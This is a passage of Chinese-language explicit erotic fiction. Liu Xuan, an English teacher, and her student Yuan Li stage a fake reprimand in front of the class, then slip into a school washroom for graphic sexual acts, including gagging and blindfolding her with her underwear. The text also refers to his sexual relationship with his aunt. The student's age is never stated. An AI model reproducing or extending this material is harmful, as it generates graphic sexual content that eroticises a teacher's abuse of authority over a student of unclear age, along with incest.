吸吮着妇人滑嫩的香舌,啜吸着香甜的津液,袁力双手揉搓着妇人美妙的臀部,高质西装裤在双手的摩擦下发出‘沙沙’的轻响,美妙的臀肉偶尔被释放出来,还会带动裤子连续的抖动几下。

正要继续温存,意乱情迷的刘瑄却一把推开了袁力,脸蛋红红的,双眼满是羞意,都要滴出水来。原来袁力的拉链已经解开,凶器已经崭露头角,袁力尴尬的扶着鸡巴,看着美妇人站在离自己一米开外。

“冤家,这里是教学楼,还要去上课哪!”

刘瑄知道自己动作有点大,赶忙过来蹲下,忍住羞意,轻舒玉手,把男人狰狞的阳具塞进裤子里,站起身又腻进男人的怀里,小脑袋柔媚的拱着,说着与年龄不符的嗲嗲的声音:“好哥哥,两节课很快就过去了,坚持一下嘛!”

“小妖精!你还知道教学楼啊?不是你又抱又咬的,我能这样吗”袁力有些郁闷,不过还是很开心,佳人相思成灾的怨愤总算是过去了。

两个人甜蜜温馨的搂抱着,虽然不能立成好事,但终究爱人在自己的怀抱里了,那种相思的空虚顿时烟消云散,甚至让人想着就这么抱下去,永远都不分离。

但是现实是残酷的。

刘瑄勉力从爱情的甜蜜中振作起来,看了看手表,上课铃响已经三分钟多了(武侠小说里怎么说来着,说时迟那时快?虽然有些不舍,还是调皮的伸出舌头,舔了男人的耳朵一下,轻声的说道:“小力,得回去上课了。”

“弟弟…好弟弟,乖啊,回去上课了。”

“哥,瑄妹儿的好哥哥,人家求你了,上完课的啊……”

好话说尽,袁力死活就是不肯放手,甚至直接用嘴巴堵住了她下面的话,刘瑄虽然无可奈何,却还是为男人对自己这般痴缠幸福不已。

“好姐姐,昨晚电话告诉你什么来着?今天穿内裤和胸罩了吗?哥哥要检查一下!”

说着袁力作势就要脱刘瑄的上衣。

趁着男人双手放开自己的当口,刘瑄赶紧跑到走廊上,双眼尽是祈求的神色,转头看了下走廊上一个人都没有,才对袁力说道:“好哥哥,瑄妹儿知道你想……想……想肏……人家,你的瑄妹儿……也……也想,一个月来一想到哥哥,人家……人家下面就……湿透了!可现在真不行啊!”

刘瑄楚楚可怜,嘴上说着祈求的话,却因为自曝了自己的不堪,弄得脸蛋通红。

“好姐姐,好瑄妹儿,你要是真的想的话……”

袁力伸手拉过美妇人,又闪进拐角,把美妇人顶在墙上,不让她再跑掉,附在她耳边轻声说道:“想的话,我有个好办法!”

“唔……羞死人了!”

刘瑄把脸扭到一旁,经不住男人追着自己的眼睛逼问,蚊子一样的哼唧了一句:“人家……人家当然想……想让小力……小力哥哥肏……逼逼啊!”

“那就按我说的办!”

低声耳语了几句话,袁力最后说到。

*****教室里的同学们正诧异着,老师怎么四五分钟过去了还不来,教案在讲台上放着,投影仪开着,电脑上刚刚播放完的短片画面还在屏幕上,有胆大的同学上去按了播放,一群人就看起了短片。

突然,教室门被很大力的拉开了,刘瑄站在门口,冲着身后大声的说了一句:“给我在外面站着!”

气的满脸通红的走上了讲台,转头看了看短片,刘瑄缓缓的转过头来,冷若冰霜,面容严肃的扫了一眼,问道:“谁放的?”

以前也有人干过类似的事情,却是第一次看到老师这样的反应,大家一时有些面面相觑。

“算了,对不起,我失态了。”

刘瑄捋了下头发,抬起头说道:“大家把短片看完吧!然后学委组织大家讨论一下,主题是假期的趣事,大家尽量用英语。”

说完,刘瑄就又离开了教室,这一次却没走远,门也没关,靠在门口的同学甚至能听见刘瑄的声音:“你这是什么表现?上学期你跟我怎么保证的?啊?开学第一天你就迟到?你这是什么行为?”

“刘老师,我真的是有事耽误了……”

袁力的声音传了进来,充满了委屈。

“迟到了就迟到了,还找这样那样的理由狡辩,怎么敢做错不敢承认?”

“刘老师,我们讨论是分组讨论还是集体讨论啊?”

学习委员被几个男生撺掇,满脸无辜的出现在门口,映入他眼帘的首先是袁力的脸,看到他出现,袁力脸上一抹怪异的笑容消失了,赶紧低下了头,刘瑄接着出现,背对着他,双手可能是抱在胸前,听到他的声音,身体明显一僵,随即转身说道:“当然是分组讨论!每个小组的讨论内容要记录下来,中文还是英文都行。袁力,你跟我过来,不要影响同学们。”

对袁力说了一句,刘瑄盯着学位进了教室,带上了门。

“学委学委,怎么样啊?刘老师这次好像真的很生气哎!可怜的袁力。”

“活该,谁让他第一天来上课就迟到了,亏得刘老师上学期还让他及格了,这事儿搁谁谁不生气啊!”

“也不能那么说吧?迟到又不是什么天大的事,以前你也迟到,怎么就不见刘老师对你这么狠?我还是觉得刘老师特别针对袁力。”

“切……”

“……”

“好了,大家安静,按老师的安排,分组讨论吧!”

班长站了起来,制止了愈演愈烈的‘探讨’,学生们也就不再继续讨论,反正这样的主题讨论课是大家最喜欢的,就是聊天嘛,又不限制一定要说英语。

刚开学,课本都还没有发下来,喜欢说话的就讲些自己的假期的趣事,不喜欢说话的就坐在那里写写画画,不知道在搞什么飞机。教室里热火朝天的讨论着,几个男生却在角落里幸灾乐祸的想象着那可怜的袁力,此刻不知道被美艳的英语老师羞辱成什么样子了……

理想和现实总是充满了差距,有的时候可能甚至是截然相反。此刻,在同一层楼另一侧的女洗手间里,他们美艳的英语老师正羞耻的坐在马桶盖上,高贵的西装上衣分开在两旁,衬衣已经被卷了起来,露出了丰满的酥胸,乳贴已经揭下,被压抑很久的乳头已经勃起,直直的勾引着蹲在对面的小男人。

美妇人的西装裤已经被脱下,挂在了杂物勾上,而刚刚才脱下的衬裤却搭在男人的肩膀上,脚上一双白色的纯棉短袜微微卷起,一双黑色的瓢鞋娇俏的抖动着,美丽非凡。

袁力蹲在美妇人的双腿间,伸出手指隔着内裤一下一下顶着妇人肉洞的位置,抬头看着妇人规律性的颤抖。

双手捧着男人的头,充满爱意的双眼死死的盯着这个让自己日思夜想的小男人,刘瑄的眼角湿润起来,低声呢喃:“小力,小力,小力……”

两个人演完刚才那一出戏,就直接奔了这个教室专用的洗手间。这里有四个蹲位,两个洗手池,装修高档得多,如果刚才刘瑄不是为了去楼梯口等心上人的话,真有生理要求的时候她都是到这里来上的。不过因为老师们很少在上课期间上厕所,所以这个洗手间大多数时候都是被学生用的。

洗手间之间被水泥墙壁隔开,上面却留下约三十厘米的开口以作通风之用,四门两两相对,中间的是洗手池,袁刘二人此刻正在右手边最里面的那间。

“好姐姐,昨天打电话时你不是答应了我今天不穿内裤和胸罩的吗?说话不算数哪?”

两个人一前一后进了洗手间之后,稍微拥抱温存了一下,袁力就把妇人按在了马桶盖上,刘瑄心中害怕,却又充满期待,脸蛋红红的,不知道该如何是好,只能机械的听着小男人的命令。听到男人责问自己,刘瑄有些不好意思,却还是说道:“嗯……好小力,我……我以为你不会知道呢……人家一想到要……要光着下体出门,心里就慌慌的,再说……再说不穿内裤的话,人家……人家一想你下……下面就……湿湿的,万一……万一把裤子弄湿了,不羞死人了!”

像蚊子哼哼一样的解释完,刘瑄有些担心小男人生气,双手温柔的爱抚起袁力的耳垂,满眼的歉意。

“傻姐姐,穿了就穿了,”

感受到妇人眼中的担心,袁力赶忙转移了话题,“真的一想起我下面就湿湿的吗?”

说完,捧起妇人的右手,含住了食指和中指轻轻吸吮,右手却已经勾下了妇人的内裤。

下体传来一丝冰凉,刘瑄知道男人已经突破了自己最后的一道防线,虽然心里也充满了期待,期待小男人那个粗大坚硬的肉棒满足自己空虚的肉体和心灵,但是更多的却是羞涩,一个伟大高尚的灵魂工程师,抛下了其他的学生不管,在洗手间里被自己的学生脱下衣服,即将发生的事情她却是想都不敢去想。即将发生这一切,自己不但不抗拒,竟然还充满了期待,美丽性感的肉壶早已经火热非常,淫靡的肉瓣也微微充血,蜜道里渗出的丝丝淫液涂抹在上面,妖艳异常。

“坏……你坏死了!”

已经被羞臊的不行的刘瑄干脆闭上了双眼,任男人轻薄,理智在情感面前脆弱的不堪一击。

怕手上不干净,袁力没有用手去触碰美妇人敏感的下体。把弹性很好的粉红色内裤褪到腿弯出,双手分开妇人白皙光滑的美腿,毫不客气的就舔了上去。经历了一个寒假的锻炼,许晓晴那样淫乱的白虎和周雪筠那样乖顺的少妇给袁力提供了很好的锻炼机会,加上他的勤奋好学,刚一接触,骤然而至的快感和酥麻就爽的刘瑄啊了一声。刘瑄自己也吓了一跳,睁开眼却看到小男人正促狭的看着自己,不由得又满脸绯红,赶紧又闭起了眼睛,嘴上却轻声的说道:“哥很久没疼瑄妹儿了,哥要温柔一点呢!”

语声一顿,脸已经红得要滴出血来,却还是强忍着逼人的羞意续道:“瑄妹儿怕经不住哥的采摘,万一叫起来……哥你把瑄妹儿的嘴塞上吧!”

“哦?瑄妹儿想哥哥用什么来塞呢?”

袁力被妇人那骨子里的柔媚和羞涩勾引的心跳加速,调笑着问出了自己确实不知道答案的问题。

“唔……讨厌了,人家……人家不知道啊!”

刘瑄话未说完,全身又是一股酥麻,下身更加流水潺潺。

“来,好妹妹,张嘴。”

听着男人的吩咐,刘瑄乖巧的张开了嘴巴,也不去看到底男人塞了什么东西进来。嘴巴被塞得满满的,刚要睁开眼睛,却感觉男人用一个条形的东西缠住了自己的双眼。稍微的想了一下,男人手头的东西,好像也只有自己的衬裤才能做到即塞住自己的嘴巴还能用来蒙眼。

想到这里,舌头微微动了一下,却品尝到一丝熟悉而又陌生的味道,正在思考到底是什么味道,却听男人坏坏的问道:“好姐姐,你的绒裤上有你的体液呢!是不是想哥哥的时候渗出来的啊?”

想到自己刚才品咂半天的味道竟然是自己思念男人时渗出的淫液,已经羞臊欲死的刘瑄再也无法控制自己的情绪,轻声的呜咽了起来。

这几天的情绪变化太大,她的心已经有些经受不住这样多的刺激了,悲欢离合忧愁苦乐来的太过频繁太过密集,饶是成熟知性如她,也无法再克制下去了。

听到妇人呜呜的声音,袁力还以为妇人是动情了,及至发现妇人腮边的泪水,才知道妇人已是哭了。慌乱的扯开妇人嘴里的衬裤,解开了缠着的双眼,妇人眼泪盈眶的看着他,泣不成声。

紧紧抱着妇人,袁力关切的问道:“好姐姐,好姐姐,怎么了?怎么哭了呢?我做错什么了吗?”

搂住男人的脖子,伏在男人的肩膀上,刘瑄尽管还有些哽咽,却还是说道:“好哥哥,瑄妹儿任你轻薄任你羞弄,人家……人家什么尊严什么责任都不要了,只要哥哥开心,让瑄妹儿为奴为婢都行,只是……只是哥哥你可千万别不要你的瑄妹儿啊!”

“姐姐,好瑄姐,小力怎么会不要你呢?把你放在心里都觉得不够,一时见不到你就想的要死要活,我怎么舍得不要你呢?乖,好妹妹,不哭了,啊!”

说着安慰的话,袁力心里从来没那么心疼那么难受过,自己确实还是有些忽略了刘瑄的感受,总以为自己真心的爱着她,就不用去说那些肉麻的话了,却不知道女人最喜欢也最善于的,就是从这些话里寻找存在感和安全感。

“恩,瑄妹儿信你!可、可你小姨……”

该来的还是来了,袁力心中一叹。

除夕夜那通电话,他把心中的困惑讲给了自己最爱的女人,当时没想别的,倒是真的把她当成了自己的老师,只是想获得帮助。当时刘瑄沉默了一会儿,却还是鼓励他应该主动一点迈出那一步。虽然事后袁力并没有做到主动,但是刘瑄当时的话给了他很大触动,他问她不吃醋吗?舍得跟别的女人分享自己吗?刘瑄语调幽幽,听不出喜怒哀乐:“你们认识的早,三妻四妾的话也是她做大妇,再说同样都是命途多舛的,女人又何苦为难女人?”

(无耻的套用了电视剧的台词,鄙视刘瑄)放下电话袁力就后悔了,本来下了决心不跟小姨发生关系的,却因为许晓晴的主动而功亏一篑。袁力并不责怪自己意志不坚,换个同样美丽的女人勾引自己,自己绝对不会控制不住,但是许晓晴不一样。

他更多的是觉得对不起刘瑄,这个女人那么爱自己,自己却无法给她全部的爱。从昨晚通电话到现在,刘瑄一直没提小姨的事,袁力还以为妇人已经不在意了,却不知道这件事已经扎在她的灵魂深处,怎样都忘不掉的了。

“小姨是我年少的一个梦,虽然我不知道我到底爱不爱她,但是我知道相比瑄姐,我对她更多的是亲情。我把她当做长辈当做姐姐,我却把瑄姐当做情人当做妻子,当做一生相伴的爱人!瑄姐,好瑄姐,你感受得到我的爱吗?”

“恩,好哥哥,瑄妹儿知道!”

男人发自肺腑的表白冲击着刘瑄的耳膜和心灵,炙热的爱意包围着她,融化了一直困扰着她的那块坚冰。

“只要小力还爱着他的瑄妹儿,瑄妹儿就是为奴为婢做牛做马,都会跟他一起白头!”

在男人耳朵边呢喃着自己的告白,刘瑄的羞涩和被环境束缚的情欲一下子解脱开来,大胆的耳语道:“好哥哥,瑄妹儿…瑄妹儿要你用你的…大鸡巴来爱人家,来疼人家!”

颤抖着说完平常根本不可能说得出口的淫乱话语,美妇人的蜜道已经浪潮滚滚、淫雨霏霏了!

“瑄姐,瑄妹儿,哥哥的大鸡巴来了!”

被妇人勾的欲火上涌,袁力赶紧解开裤子,露出自己已经勃起的粗大阳具,正要剑及履及的时候,却听美妇人说道:“哥哥!把……把瑄妹儿的嘴巴塞住吧!瑄妹儿…会被哥哥……肏的……胡言乱语的!”